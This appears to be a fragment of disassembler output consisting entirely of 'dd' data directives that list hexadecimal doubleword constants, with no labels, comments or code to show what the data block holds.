dd 4328A040h, 75D67000h, 0D8CDF3C8h, 617E07B0h, 6006E3B9h
dd 596E47C5h, 0A186F801h, 8715D330h, 1F1E560h, 0AFC4A5BAh
dd 0FC4A3AD7h, 0C3004C53h, 65F4A729h, 1C481D76h, 810FF597h
dd 0D9C696E5h, 5AA9F0CDh, 91F39400h, 523834ECh, 0AE35013Dh
dd 0A7FB6F98h, 0EA80D3ABh, 0D600EF41h, 61444D58h, 7F648Fh
dd 0A51EF975h, 34DEA1FAh, 0B20039E4h, 87D2143Fh, 52C8AC4h
dd 0F97E24B7h, 0B4C2C259h, 964A89C0h, 0B2AC6B1Ch, 1083C540h
dd 6C3A73h, 0E4305F4Bh, 0E7546FAh, 1900DF77h, 0D49FBD8h
dd 0B0D11874h, 4FE21C3Bh, 508203AFh, 9C90214Ah, 3500871Ah
dd 0DB3D8325h, 138EB01Ch, 19A522h, 3BE01D55h, 0AB00BDDDh
dd 0D39D1728h, 9F04EBh, 0E8F17824h, 0C32E0732h, 3C41D01h
dd 6479D42h, 0CDA460h, 0C6234FC2h, 9F1F372Ch, 0B96E800Fh
dd 259A80AAh, 24DF72A5h, 0D51D60h, 405D0BC9h, 0B790E54Ch
dd 450E94FCh, 802BDC4Dh, 8E6AB371h, 6010303h, 0F1D87CE0h
dd 1159C0DCh, 0AC0094C2h, 0A61E0204h, 7C30282Ch, 6C20038Ch
dd 0A80A2DFFh, 47E16DA0h, 73801B00h, 7003364Eh, 3875012Bh
dd 64EBCA7Ch, 6510605Eh, 67321700h, 35EFF203h, 8C410051h
dd 0ECA3C00Ch, 621E6CEDh, 9CC08011h, 6B7FA934h, 0BB7D0076h
dd 0CEC23868h, 39746FD2h, 0AF002F7Ch, 0A1996574h, 1A89B2Ch
dd 0BBFB0C36h, 0F894C78Ah, 4800FA3Bh, 51466ECCh, 720DFC8Ch
dd 1D5B01DDh, 245FAD83h, 0C79FE87Ch, 8427C900h, 814C500Eh
dd 162E0060h, 0B7AB7341h, 0CA079813h, 0AA8B77D4h, 0FFD94ED0h
dd 1C14E6E7h, 40580AF1h, 2B38871Ch, 3300EEACh, 0C1485998h
dd 25AC4A3h, 23B8EC7h, 92E09D0Bh, 3000C92Bh, 3C0737BBh
dd 3B1F5595h, 4200CB90h, 29DA70Dh, 88002B5Ah, 735D3BA5h
dd 7EC94CD7h, 0A67AF1h, 0B6C24D9Dh, 78FFE526h, 3D4B0300h
dd 0DCF07D0h, 38C80042h, 66938721h, 900F62Ch, 0BD745341h
dd 0BD8F3686h, 0AA00D1F8h, 0A37046ACh, 3F0F0Dh, 0F3A81293h
dd 31D72295h, 5ED0770Fh, 2F5FA045h, 48C4263Ch, 0BA0086B6h
dd 3B164127h, 75014DEFh, 55CA13C6h, 1120CB0Bh, 0F41A4C9Eh
dd 0C7FDB600h, 9D4E6710h, 0A635A703h, 80FBA252h, 1CEAE092h
dd 0BEF1B6E6h, 6103007Bh, 9DB932F9h, 810052D5h, 0F8087275h
dd 1CB67056h, 0C1227F84h, 85F986C3h, 42A07FEDh, 0D0420F69h
dd 5340FD94h, 0BB47C44Fh, 0BF00A87Eh, 5ADA2350h, 0B605C0h
dd 4EEA7B7Ch, 0CA20CD83h, 408DA900h, 0C34DE562h, 244407BBh
dd 64924E61h, 0B1D3C020h, 0E90065B7h, 560BD5F4h, 41FCD6h
dd 0A5DD0713h, 33CD926Bh, 9CCF9000h, 68E222BEh, 56591767h
dd 9196007Ch, 1D119D9h, 0C040FB03h, 0B8E20B54h, 0B49BD5h
dd 731AB20Fh, 6F94D64h, 9C020C00h, 8B21ABF4h, 0FA1976CBh
dd 250B00AFh, 933C2D27h, 10B0648h, 0FBD993Ah, 69922137h
dd 0D7D81C79h, 1074C068h, 0BAF8BE3Fh, 0BC0B3E00h, 0E5C5E70Ch
dd 73300153h, 52D8DB1Fh, 0D66EE4C9h, 0A24E4304h, 17C0047Ch
dd 0AB8880h, 5C7E4F25h
dd 24132819h, 76FB404h, 0B8383F0h, 4C0A049h, 7F5D0E87h
dd 7AE01369h, 0C5679A36h, 0E92B8802h, 0E0B4496Ah, 0F0B203h
dd 4B89D359h, 42BBF82Dh, 0D2003C7Bh, 752FBC4Ch, 2A2E5DCh
dd 0C00ED41Dh, 8FE3187Dh, 0DB520CA8h, 8D237000h, 27C35B9h
dd 4EDA0710h, 7018F7BBh, 0C138ABDCh, 4C4F6600h, 0C379BED0h
dd 9BD40322h, 65A51910h, 5AA4E588h, 5B2AED01h, 169544F4h
dd 50320h, 51A0AC8Bh, 0C1D5E9A8h, 9E572200h, 0D75F1CE0h
dd 0B30F4EEh, 0AAF64246h, 9B98BE00h, 7600BE8Dh, 0B85F7E32h
dd 0EB0B41h, 0F839D61h, 0D23CE0B9h, 0E2009374h, 26BA71EDh
dd 2A03B7Ah, 843052C5h, 0FF083Ah, 0A3C7C41Dh, 706B09E0h
dd 0E00EF82h, 2355633Eh, 79F53200h, 37D39504h, 4DF10EDEh
dd 0D7CF5F52h, 0C580ADAFh, 42B70AEBh, 3BB4BB00h, 2D500C2Ch
dd 7FE0046h, 643C9329h, 0DB00848Ch, 0A9AFCCEAh, 2C011057h
dd 0F7BAB3h, 0E79C1970h, 2E585C15h, 53B05AE4h, 4E0C0001h
dd 6BE8DC28h, 35FA91D9h, 73533300h, 0E6A52051h, 2EDF0008h
dd 7283B7B8h, 0E40017C2h, 3F963C7Fh, 0D9E5B9h, 0F8265FDEh
dd 0FE4A97AEh, 84392B02h, 0E03BE617h, 796F45B3h, 55D41DACh
dd 934A8146h, 0DCCB7156h, 0BF0E91FBh, 6038452Fh, 0C7922205h
dd 0CCC00C3h, 0B2B75EC6h, 0C2009670h, 0ED494230h, 906D6h
dd 0A013C078h, 0DF02B08h, 0B3453Ah, 33F61B6h, 4ECD8h, 43B0ED01h
dd 0EEC49FE6h, 17FDCB3Bh, 14006097h, 2CF3DD7Dh, 2A83006Eh
dd 18078251h, 32020B49h, 5FD3ADC6h, 0EC0FC092h, 0EBE903FEh
dd 0B83EAC48h, 0F0B52A00h, 7F60B635h, 0D2C3398Dh, 9D49F180h
dd 5B02C4E8h, 3E966100h, 7867637h, 7E3F0058h, 0FD2B0499h
dd 0C207AE08h, 0F087B382h, 0B46545F0h, 3A6000F5h, 669E7DEBh
dd 611CCB54h, 70C18B63h, 0A185EEE9h, 0AD4C0D5h, 53F20E6Fh
dd 5A20B1CDh, 1BAA3987h, 5F9A371Fh, 0D00C1900h, 0AC78Eh
dd 6D60279Dh, 139814D2h, 4FFD8A0Ah, 6F00EF0Bh, 0C7CABDA7h
dd 11650056h, 0B40D6AA0h, 33001A8Eh, 0C1821C26h, 0ACF438h
dd 5760F65Bh, 83DD1E5Dh, 19559F2Ch, 4D80CE1Ch, 8D7E2669h
dd 97C77C4h, 6D0117C1h, 1813A380h, 56EE6EB3h, 80C53D3Ah
dd 75649E6Bh, 1EB2AD0h, 8731ECCFh, 60D6D234h, 0A35FA7C6h
dd 982DB0h, 4F2BEA29h, 0EFC18F0Fh, 0D932521Ch, 0A2C2A500h
dd 39BD0D17h, 1380A9F8h, 833796F6h, 1D3E0670h, 2EBA80D9h
dd 0FFC7B1CAh, 15D4005Eh, 921E6F1Ch, 761E73A3h, 5DC701C9h
dd 9BA0681Dh, 81E8A6h, 230DE12Eh, 0DCFC529Fh, 0DEC6B800h
dd 2FE96802h, 91CD07EBh, 0C00AC425h, 7DAC1ACBh, 0EE0DAD00h
dd 0B259B48Fh, 49D40320h, 0C4E7FD08h, 0B7A6FAD8h, 0CF078D7Ah
dd 5A57EE16h, 68C065E4h, 1CA84BD7h, 815D15DFh, 0E1B08F50h
dd 44003E2Ch, 3E085501h, 0ABFD01BCh, 0E071EF4Ch, 0B906F8C7h
dd 80D8123Ah, 9A09C92Fh, 79085CBh, 69ED0EF1h, 0F26BB054h
dd 0CC003A89h, 339DAF66h, 2D99A5h, 64E19345h, 7E0C82D4h
dd 0CEE33B00h, 0AD488CCBh, 1667781Fh, 7B10D3h, 0E0497EF3h
dd 0F300511Bh, 0F608A952h, 0DAB240h, 689FCAF8h, 0A3CF8961h
dd 0C23843E4h, 8E00FF95h, 158D6051h, 65C766h, 4856D82h
dd 10309933h, 0BCBEB200h, 4B316E0Bh, 0E9D2005Ch, 2847D9BBh
dd 44006D89h, 0D32BAB67h, 778868Eh, 0AC5DD73Bh, 0CEA30010h
dd 9A1F891Ch, 2B806D6Ch, 0B0C67448h, 0B8B600E4h, 821166F7h
dd 3D002A45h, 0B1B90B5Bh, 1F3209h, 98D269F3h, 854BCBADh
dd 849F7900h, 0BCB3A08Ch, 56500CDh, 1804C9FBh, 751E6869h
dd 0DD006E0Eh, 9A4C628Eh, 0F1D1036Fh, 49F6C14h, 78F83DBh
dd 0DB6B90C6h, 49FC810Ch, 0E7DEE901h, 0CD4290B2h, 0BE8CD8h
dd 6B5DE577h, 0F2C8A1ECh, 8203C43Dh, 0A1D1F2Dh, 0B793E004h
dd 31720056h, 0D6A24C17h, 3400E39Fh, 0C3258923h, 7BDA4A6h
dd 0E9B935FCh, 0E06BB0AAh, 0D903EDA9h, 0F8446F76h, 0BBD2B07Fh
dd 0CBA73A80h, 30038187h, 0B8A01E11h, 0DD296943h, 6000A1E8h
dd 0FD0207EFh, 74C2461h, 4B9E205Ah, 0CBE77009h, 0A5013EBh
dd 0B900F29Ah, 0F95C7832h, 0D6D714h, 77592262h, 18153B51h
dd 16B00400h, 0C470636Bh, 0DCE500BFh, 0F258A132h, 810038E3h
dd 0F1D875ACh, 0E684CDh, 0FE8FABD2h, 9DA93C4Bh, 2200F7EEh
dd 7A631A26h, 3C9B19DDh, 0FB32EAh, 0D1B6B028h, 90C7FFFAh
dd 121B8400h, 2A523798h, 0A7CA01EFh, 188028BCh, 0A9EEF47Bh
dd 0F1E33F2h, 0B4C0037Eh, 72BBB1E6h, 91410071h, 0CBB801B5h
dd 78002F77h, 0C929C15Dh, 4AB08Bh, 0B31206ADh, 8082F747h
dd 720E2201h, 439B7A1Ah, 37C98C0h, 0DC0166A0h, 64D8FA39h
dd 0B37AFFF1h, 0D190AA00h, 721668EAh, 37A7030Eh, 0A924BB39h
dd 11861F98h, 62E84400h, 0A1D5D977h, 8102004Ah, 437540C9h
dd 4D00DBB4h, 1F1468B3h, 2108D3h, 3FB5FC0Dh, 171E70EBh
dd 4A92F301h, 0B4A89BF4h, 13ECEDCh, 9C8C6C95h, 0F4F8975Eh
dd 0DE047182h, 67FA41B1h, 805BDFC7h, 0C71FD13Dh, 0D8430185h
dd 0D3830AEh, 0F4A1ED4Dh, 0E7006944h, 376E5211h, 4E276Bh
dd 459C78E8h, 0F12203DCh, 2C5F48h, 156C4B70h, 74538C08h
dd 727BACh, 0D46F63CCh, 59A14623h, 3844CA00h, 4AF36433h
dd 7881009Eh, 65607CEh, 76EE1C8Dh, 9BC07400h, 0A89C3BF9h
dd 1C677F7Bh, 404BB36Fh, 9520B7BCh, 0A90304EFh, 7E9B0F2h
dd 8E89C87Dh, 318D00CBh, 349261FEh, 78003DD6h, 0C4871BEEh
dd 3FDEC38h, 9BA4F68h, 0C0F5B8DDh, 1F81A5C2h, 0BBE54900h
dd 5A3E16DFh, 9C3500D1h, 8952CAE4h, 0E00E2AFh, 48F247D3h
dd 1D666C91h, 0DD0FE0DBh, 0C0789C61h, 0F9D52AE7h, 51269BA7h
dd 370F5FABh, 39D900C3h, 583C23C2h, 0A0061C8h, 9F980314h
dd 5B012AA6h, 7B16553Dh, 0E0CAABDAh, 27CE62h, 0C139D6E1h
dd 0E6D969Dh, 99578602h, 0FDC07103h, 0EBC23B60h, 0FA2F3Ch
dd 23411E87h, 0D3F57Eh, 33AE4B24h, 0A389D0DAh, 113D1E98h
dd 99587F2h, 73E03B07h, 17E06842h, 0F578D3h, 0EB82D28Fh
dd 3A078396h, 27F6A101h, 3DD4DC30h, 818A38E4h, 0C7096F80h
dd 10990715h, 81744C38h, 0E7FB681Fh, 0F5F033CCh, 0D1F2D2h
dd 9698EFE0h, 7DFCA7BBh, 610043F4h, 99EE28A5h, 0FD82F4D6h
dd 73DAE570h, 39C23A08h, 0E2F942A8h, 37600F8Eh, 70099EAh
dd 1340DD15h, 0DA7D6800h, 9B4514E1h, 0C5D0099Eh, 4D80B934h
dd 0CF3FBCF0h, 33CE271Ch, 71E8A7C2h, 0B7B260EDh, 3C390F3h
dd 9D2C0C88h, 29B9C248h, 49FFD87Ch, 1964E800h, 937E46D9h
dd 0EEF90082h, 4CA91155h, 0C600B624h, 549AA3C7h, 0CC225h
dd 9149C32Eh, 0E47B9614h, 65EC09ECh, 8188F13Eh, 0FEE532F5h
dd 93D8B2F3h, 554C0001h, 0E010D18Ch, 0E001C2Ch, 306C77E4h
dd 72DA41Dh, 8038B9Eh, 42708076h, 9F00BF0Ch, 40A3B2A2h
dd 0ED91DCh, 20B1F1FAh, 12899B2Fh, 0FD4E4200h, 0E3B8A097h
dd 2E75005Fh, 80298F44h, 0CDF05067h, 0F6D9312Ch, 0AC87EE00h
dd 4951AFh, 0F6121723h, 2221BA74h, 9A65B30Eh, 6AF00090h
dd 26967Fh, 0F67CFD66h, 0A071F985h, 84E2823Fh, 27C159E6h
dd 0EBCEC0AEh, 0E972C3A2h, 4A7A4317h, 0AF29E300h, 0E3570B8h
dd 4E25C03Dh, 0E910F600h, 5E002D42h, 0F0A5315Ah, 0F508736h
dd 11BA9B5Dh, 3268E580h, 0A7758FC8h, 0F96E4400h, 86928715h
dd 97A000FEh
dd 321BB7AAh, 0DB037353h, 71010B10h, 0E86DAB7Ch, 0E58AAA29h
dd 0EDD6F4h, 1670E6FBh, 0B81B8518h, 0B06B7200h, 2B3B22CDh
dd 90B11C12h, 89EB8F0Eh, 0E08F2A00h, 4B078DD7h, 5A11BF68h
dd 0F752E831h, 0E30BF8h, 0D2DE082h, 50C19B66h, 18838900h
dd 0B7860F13h, 7E35E4EFh, 0B5580065h, 0EA967C6Dh, 20005FFBh
dd 17A8119h, 0EA27453h, 0C38B85F0h, 5E4F2180h, 5000AF49h
dd 0C091EB61h, 0FAD33Ch, 9D3897A2h, 5CDF01FDh, 629CD40Fh
dd 0FEB8092h, 451C26h, 7AF54812h, 0C373E81h, 0C215D41Eh
dd 0AF03980h, 9CE6105h, 66CF4480h, 7559C580h, 342ED67Dh
dd 990E67D9h, 1AD82089h, 0F0E371h, 98965213h, 28D1FCF2h
dd 0C5EF2900h, 0CA9F70ECh, 0EDF13DEBh, 8BC0E480h, 0B8A83D45h
dd 0A4F8A228h, 841B6800h, 0BF2D637Ah, 31FCFDh, 0F777E7D7h
dd 120754F2h, 43F09600h, 5B14EA91h, 0E180097h, 499ED4C7h
dd 0BC01593Bh, 6F30A1AFh, 3CE812FCh, 0E4B50083h, 0D0D140BBh
dd 320E2A13h, 64E1E934h, 0DBC0C136h, 0BC5F3Eh, 23FD9051h
dd 0E5100660h, 18E7EF03h, 881AC654h, 0AFF0D7h, 634E3B47h
dd 6541B462h, 0DE758A1Eh, 0AE748EC0h, 0B0B1FE0h, 30334F27h
dd 217C8775h, 7A5BA150h, 1C2C7D98h, 42C44AAAh, 0C90CCD5Fh
dd 302F7C61h, 98005E8Bh, 362013B5h, 0F9D067h, 19ECE30h
dd 0D17A99ABh, 0E600D8F2h, 6D1B1068h, 0E8FE41A8h, 9F74003Eh
dd 8131D03Dh, 2300F06Ah, 0C8EFA36Ch, 9599A1h, 0D84E4B7Fh
dd 0EC9C2958h, 69036298h, 0E31E0F50h, 0CB6298E8h, 943203D5h
dd 0C0F6232Eh, 20E9B3E0h, 2B40E50Fh, 0A036CF55h, 0DCFE07C3h
dd 9D100A9h, 0EF61BCFDh, 0F00A4B9h, 0BB7FA8EBh, 0A6ABCFh
dd 12DB359Eh, 9634F9FFh, 1EFA5448h, 0F67D5BC2h, 8AF9400h
dd 0A6A44184h, 0BA931F38h, 801A9DBFh, 172757C4h, 963F1BCFh
dd 0A65580F6h, 2BD42C0Eh, 9D6D2404h, 1C873A34h, 903BBCDFh
dd 48F3037Dh, 0F55C9F02h, 8076B3AFh, 0F4DF7AA4h, 0A86E009Eh
dd 289ABDFEh, 0EE014F26h, 3729F90Ch, 5930B642h, 0C390009Dh
dd 74856377h, 0C6079E5Bh, 6AD42F96h, 878E4D90h, 0DA120F4Ah
dd 0C347BBEDh, 70E01EBDh, 0D8C08214h, 42E77B02h, 82067DBAh
dd 0E08E3198h, 1F6C74DDh, 0BB1EE9AEh, 0CF879A00h, 39AA3032h
dd 0A20EE1B0h, 60EFC544h, 8FA8FAA7h, 0A170B5EDh, 0D64E5600h
dd 0ACA9B8ECh, 0C4AF001Bh, 62DE7213h, 33009AF7h, 2FED1C22h
dd 530232h, 78A161D2h, 0F380BEC9h, 80447D3Eh, 0E3FAA209h
dd 63C086h, 0FE544037h, 0A07516D0h, 0D8205000h, 57949E41h
dd 0F8F200D2h, 114287AEh, 90040B8h, 0DB9BCFA3h, 371BD1h
dd 515DEB6Eh, 13C02A7Ch, 0FC8E2E00h, 25D38CB1h, 0AC8B0075h
dd 0C27EFE76h, 0E703F395h, 88629020h, 6AA498FFh, 0C38C07E9h
dd 60C5E58Ah, 6B093F5Fh, 0B35E3300h, 1A81E25Bh, 0ADB0FFh
dd 89429135h, 3E305F7Ah, 0BB4D4F00h, 0C59E5226h, 0DF48007Ch
dd 6AB249D8h, 7916F101h, 0BA176Fh, 0C8BA9D5Ch, 83721527h
dd 0FF40900h, 921EDE60h, 0D2170075h, 6A5EA826h, 623ACBA1h
dd 85203D2Eh, 46BC5CDCh, 0EAB6C6BEh, 0DE98CE00h, 3E0108A5h
dd 88D10056h, 7043AD24h, 3F07EDC7h, 0DAB795BBh, 3010F2E0h
dd 8BF8E8h, 0EF170776h, 0CA3F716Eh, 8057D13Dh, 0EA2A081Fh
dd 7BBC33h, 2E23960Bh, 2682DE2Ch, 4EE11100h, 32C36516h
dd 23D746Eh, 0C75FD5D9h, 0D940A668h, 0E8001BBCh, 59904729h
dd 1F7F7E2Bh, 0D7ACF50Bh, 59F8C7h, 9A4A9B30h, 389601h
dd 998C77B9h, 0C05198A4h, 0DE717C7Ah, 6D43A32Eh, 2059A20Eh
dd 8A9EA9BEh, 2FE900EAh, 8710ECC1h, 374C16A1h, 34310089h
dd 0D89336A9h, 8EB00EDAh, 9F8048B5h, 51125E2Eh, 40B78507h
dd 7621CC62h, 9E30058Bh, 0B6F000F4h, 7D060188h, 0AB07ED3Ch
dd 66EAB0C3h, 0B2111820h, 0F2861E05h, 0AE8C0A9h, 0ACEB91C8h
dd 0BBFCE42Ch, 8F534F00h, 0DA573Ch, 0D6310BA0h, 45753F20h
dd 90528000h, 280DA1C6h, 0A3F4C2h, 248D593Ah, 0B4330C0Ah
dd 2158h, 53D94E9h, 0A51991h, 0A3111CEFh, 0E07AB9B3h, 98F1471Dh
dd 38CC4500h, 1FB19E5h, 0CFAEC11Eh, 0D48C5B9Fh, 0D0008EDEh
dd 91376CAFh, 0E2304FBFh, 5B500054h, 648F2BB1h, 0D300C6ECh
dd 61ACE8F1h, 687B78h, 3BF6190Fh, 62947985h, 7A5F03Ch
dd 423D9387h, 1B834F45h, 29CC9898h, 1D907FD4h, 4085A2A0h
dd 99151F4Dh, 4FE0CF97h, 0AE435100h, 0FE397B5Ah, 7A6979ADh
dd 2BE30078h, 0DEDC5623h, 0A004983h, 0CA999614h, 0F53E02h
dd 6CEE3AD2h, 0F16A94BDh, 731B9C00h, 0E34E2F21h, 0FDAC1DD4h
dd 0CFD980DDh, 8CFCFFC8h, 0A3E79800h, 0F890BF9Fh, 1E02982Ah
dd 6826D4DFh, 1AE0094h, 5AE2EBDDh, 0D801921Ah, 0A6BE4174h
dd 79E038D5h, 54A7005Fh, 4F2B09FFh, 0A7D8411h, 0E98FC500h
dd 0B013B9C0h, 0EBE6035Bh, 275D6769h, 24FADA88h, 0C1A00500h
dd 0C5CD3F53h, 0A22A003Ah, 0FB14E649h, 0F3031690h, 0D2E1BA29h
dd 3EFFD06Fh, 287492h, 467AFA88h, 0DBC60CE2h, 2E02AD00h
dd 4A731D98h, 7D988Bh, 596C9EAh, 0A71281E5h, 6A986C03h
dd 0E07E033Fh, 0E6F6270Ch, 3A3200BAh, 1C5B99CAh, 50112B0h
dd 0BC50EE30h, 7520B1EDh, 0F1841D09h, 860A0068h, 0D3FF2CB4h
dd 85F2AA1Ch, 79020600h, 0E313CB0h, 0F4D9CCE0h, 0DF380740h
dd 0F803EA81h, 0C8537EE3h, 2D9CA825h, 0F6C20041h, 157CF9FEh
dd 0CB1EE470h, 7A4055E6h, 965DA6AEh, 98AF0E9Bh, 88204D58h
dd 12343F1Fh, 0A193220Eh, 659200F9h, 9E1AB3h, 0B9A62B43h
dd 6CDE88EFh, 791C6900h, 0EDC0D3AFh, 1A600215h, 0DBB80EACh
dd 8100E057h, 0AD28009Bh, 3F501347h, 6376473h, 0B57146CBh
dd 88DCB342h, 1BCC39A5h, 0DF16D00h, 0F33549DEh, 43DF2819h
dd 0D5F832EAh, 0D25F0034h, 8A0AA5C7h, 0B400D1ADh, 0D6829C86h
dd 0EA9AD079h, 0F87C0162h, 4CA9C4B8h, 66C0C272h, 1D00FB10h
dd 84555E98h, 0EF114C2h, 52BE6A65h, 0C0EACA04h, 0B73D3522h
dd 7F6F8900h, 1C7344C6h, 1AFB0093h, 2948889Bh, 0C5000EA3h
dd 5857A126h, 28B2F285h, 89B8F3h, 0B9E8ABAh, 0F58D8E29h
dd 8F02903Fh, 5FE877h, 0DA506F19h, 99FA0089h, 9B11AAA9h
dd 8F0054C1h, 69670643h, 0EAE124h, 0F6B98A2Fh, 0BB2A61E7h
dd 8F3C7B00h, 97A952F0h, 0B1F200F1h, 0EA5CC9D3h, 8D0046A7h
dd 0A2D76866h, 1F143C12h, 0CE10B6B5h, 2421253Bh, 2F08D558h
dd 39F01A80h, 0C21F0549h, 80E6F737h, 4E91812Eh, 956E9700h
dd 79801D5Ch, 0FA25000Bh, 21A7597Dh, 0D53C1866h, 0F52E7F2Ch
dd 92002B65h, 57D850FCh, 90533EEEh, 3B541300h, 0AB6A9AFEh
dd 8A329500h, 47BECA8Ch, 219B006Ch, 86D0D74Fh, 4B008403h
dd 2CD96F65h, 0E34017h, 0EF058A5Eh, 0F7E589DEh, 3310F100h
dd 0A84F6B42h, 13A52EB1h, 84E4005Dh, 0F31514E9h, 0DB3EDA03h
dd 908EAF1Ah, 1973421h, 767DAC74h, 0F4FD2D39h, 5895D6FBh
dd 7EB300F9h, 0F1A9D4ABh, 3F09EB40h, 8068E01Eh, 854E7493h
dd 3490DEh, 0D19E7FC5h, 7AEC075Eh, 98903A00h, 9FE98D02h
dd 0D7E814h, 6F72451Ch, 63A28C1Ah, 0D166790h, 5C007E4Bh
dd 3568920h, 9E98A9h, 0D9ACFB2Dh, 9317A88h, 0E1925800h
dd 45F3E07Dh, 6FDC0038h, 0A1AA4EA7h, 853EBA97h, 465500B6h
dd 0B2A2F406h, 0AB38010Fh, 0B867D554h, 3604E0BFh, 0C1564200h
dd 9B8C2BE8h
dd 1C80003Bh, 0C876CF99h, 43000B4Dh, 59A60498h, 0A3132Fh
dd 820FC2BEh, 71C57EA8h, 6F780B00h, 7F4B44CCh, 9D070084h
dd 82E0FFD9h, 89006321h, 66BE2E72h, 1B6F95h, 1CB5CEFEh
dd 6A8CCA64h, 0A2CBD700h, 1C2125Ch, 0C6540052h, 0DA11284Eh
dd 0E30085E7h, 0BF6EB88h, 2A4DDBh, 0EA7C84CCh, 45AD2D9Dh
dd 0A0004278h, 0BC0AD0E0h, 0F0FCAC66h, 62F200F7h, 588BC34Ah
dd 0DE2E7B5Fh, 43006A55h, 0CC25D53h, 9FFE002Dh, 451D071Fh
dd 9000E496h, 4E8111AFh, 3C31DAC8h, 68807FEEh, 2C4FAC95h
dd 0D028B165h, 29008BBDh, 0E08D6DB7h, 3CB2E5DEh, 460E3464h
dd 8C007E0Fh, 1F6B9DD0h, 0F9F39107h, 0FC43547Bh, 3462A047h
dd 0D90C0056h, 0D2212728h, 8F78422Bh, 9B00C877h, 3C1CA1Eh
dd 35BED3Ah, 2DBEDE13h, 9DB8CBF9h, 9E005AE7h, 0A0CD3EBh
dd 8AD1A1h, 4F07E0Bh, 9ADC3BC5h, 1F808400h, 0BA2F25EEh
dd 3E5C006Bh, 0FAC4C363h, 0BF006E4Eh, 84317FCEh, 1F700CACh
dd 1ADCAAh, 0BA22CB9Ch, 0FF00A363h, 96D3C035h, 13CAAB91h
dd 0D5F82Ch, 0CFB63F35h, 1401DAE8h, 7BD3A742h, 0E0C337F7h
dd 0CBCC1h, 7FC92AC7h, 0E55195E6h, 0AC382300h, 72EBDBB7h
dd 0DD10701h, 3A3D1Fh, 93CDE2F3h, 83717900h, 0D544ECBBh
dd 1477071Eh, 31A68619h, 0C0D626CEh, 0B558938Dh, 804CA8h
dd 0B48160A7h, 5BEABDh, 3CE3E083h, 0B0327741h, 3F82C100h
dd 0EA7D1B14h, 1036277Bh, 80A71940h, 0C0B06A03h, 0B01AF8FFh
dd 775FD67h, 0B82D0E6h, 0EC4F8007h, 761F0204h, 52C088ADh
dd 51FC5B9Ch, 7E9B7687h, 283560A1h, 0AB81C76Eh, 53390400h
dd 0A4F605F1h, 955E0025h, 0B47CDDFCh, 70002D5Fh, 73012E54h
dd 96D78Ch, 0EA2618F6h, 885594C4h, 0FE10C3Dh, 0FF2431h
dd 0A5351EEh, 67DA0057h, 84EC2089h, 177DD16Ah, 74308C00h
dd 6E83E7DBh, 2E7807B8h, 0D07DC3ACh, 0CF890390h, 7949D000h
dd 0E8DE870h, 2220001Eh, 0A19A5436h, 23008618h, 0C9394581h
dd 3C837674h, 4600306Fh, 0AB6BEA58h, 0F200C3C6h, 15196CADh
dd 5D11D6h, 0AC30B42Eh, 0BDA46223h, 32B8250Eh, 0C6A64055h
dd 1FC70D91h, 80010C5Fh, 7C58A1FFh, 0E0050E3h, 27D50537h
dd 0F2A652C4h, 0FFAC0088h, 2F4B5D22h, 70082A5h, 0B5F730Dh
dd 33441D6h, 667EDE49h, 25C17AFCh, 5FE36035h, 97FF3600h
dd 7D800A03h, 0F1C7B13h, 0AFE3710Ch, 2B47941h, 24A06EE5h
dd 38362635h, 208B00A9h, 0FBEFCD6Eh, 3B06AB1Ch, 59ECC380h
dd 2234E0h, 76D3C9Ah, 49761479h, 0F2ED4A00h, 0BA735E1Eh
dd 28D70086h, 0E5B3F899h, 140071D0h, 8883C5D2h, 1DC94ABh
dd 0BDBBA575h, 3098C909h, 7E391786h, 0B87001ACh, 0DD5DE0CBh
dd 0CD08BC81h, 30BE404Ch, 7B009FAFh, 0E2160DFh, 8F6232h
dd 0F65FDA5Ah, 7E9337DBh, 42F2D700h, 0D8B67D7Bh, 684D0755h
dd 0D7E7296Bh, 5C61AF66h, 0E84FC218h, 7E02BCFCh, 0AE6F2CEEh
dd 0E74AE344h, 8CF07FA0h, 0FD7566h, 54052D9Ah, 98D733AEh
dd 0DDB13E00h, 0F0313C53h, 6AEC009Ch, 0F920B9F5h, 3F005DE8h
dd 87411F01h, 0E18551h, 0B35580A9h, 0BC81492Ah, 0F2313503h
dd 0E8186DC0h, 0A37412h, 68852141h, 7153D64Bh, 0BE480D00h
dd 28863C4Fh, 0BFF300D5h, 0A5A6C385h, 8007407h, 73B35002h
dd 0E16D67h, 37B74787h, 0ADA0F5AFh, 66BF5F00h, 84142DBh
dd 0E1780Ah, 0FDF120B6h, 0A1E8A5B7h, 44694A24h, 0D9BC3Eh
dd 89C58882h, 1F793F7Fh, 0C0E7C386h, 0A4870213h, 0AB014F63h
dd 4DB5A123h, 40F6D4B0h, 7F33B922h, 0CE1C0084h, 0D36B9585h
dd 2B02BFCFh, 0B4270586h, 1E60DF2Ah, 1F1F51C4h, 0DD0F63D8h
dd 7D803C89h, 4E75C59Bh, 48D33873h, 44356200h, 584FB365h
dd 4CA0CF1Dh, 0C160E4C0h, 33AD72h, 7735E186h, 6C3ACB2Ah
dd 51685F00h, 0DE01704Ch, 0B95E4AC5h, 9B180087h, 0B7E9A1F9h
dd 0AFEA0E89h, 58A047CEh, 0BB5B01BDh, 6498CB0Bh, 0E79F8FDAh
dd 7050087Ch, 0DF3826h, 0B6E21401h, 5D0955F5h, 64E92703h
dd 0E0626D5Ah, 74EEE7h, 0D8BC836Fh, 893C581Bh, 61822100h
dd 57653329h, 0C36800ECh, 9916FC2Dh, 3403CAC6h, 9D13056Ch
dd 0E2279014h, 79CC008Ah, 387D86A3h, 639E384h, 0C85F00A2h
dd 0C63EF42Fh, 0EE3A008Dh, 6AD025D8h, 2BEE7102h, 0D72FA200h
dd 1FAB8FBFh, 695B0080h, 38AF6291h, 841FE9FAh, 0B2C0572Dh
dd 0F2466E8h, 0B32F0F23h, 0D0E013E4h, 0FCC9580Eh, 750BFF07h
dd 0F33065C0h, 1FD77725h, 804609E0h, 0A230234Ch, 0D673CA6Fh
dd 0AC5BF000h, 0CD4A6E8Ah, 2A164C9Dh, 23E82A00h, 0EFF5E77Eh
dd 0DEBCC500h, 4EB48884h, 0BE380E07h, 1420F08Fh, 0F5D81980h
dd 0E9FF1200h, 0A9636287h, 7A070071h, 0E5C379F3h, 5500D2FAh
dd 500DB278h, 6A87BCCh, 5C59774Eh, 69FE6C45h, 8B24DA00h
dd 0D6333067h, 7664006Ah, 0B201E4FBh, 0D200625Dh, 96CAEC63h
dd 0B982EE2h, 0FF08BB35h, 2C002F09h, 1A07A272h, 0D9C71B00h
dd 0D428E575h, 0DB2500F4h, 0CA7DE22Bh, 2F00DAEBh, 5C1A86F5h
dd 0AA819Eh, 50F8D697h, 34664A31h, 6807F5B0h, 982AC620h
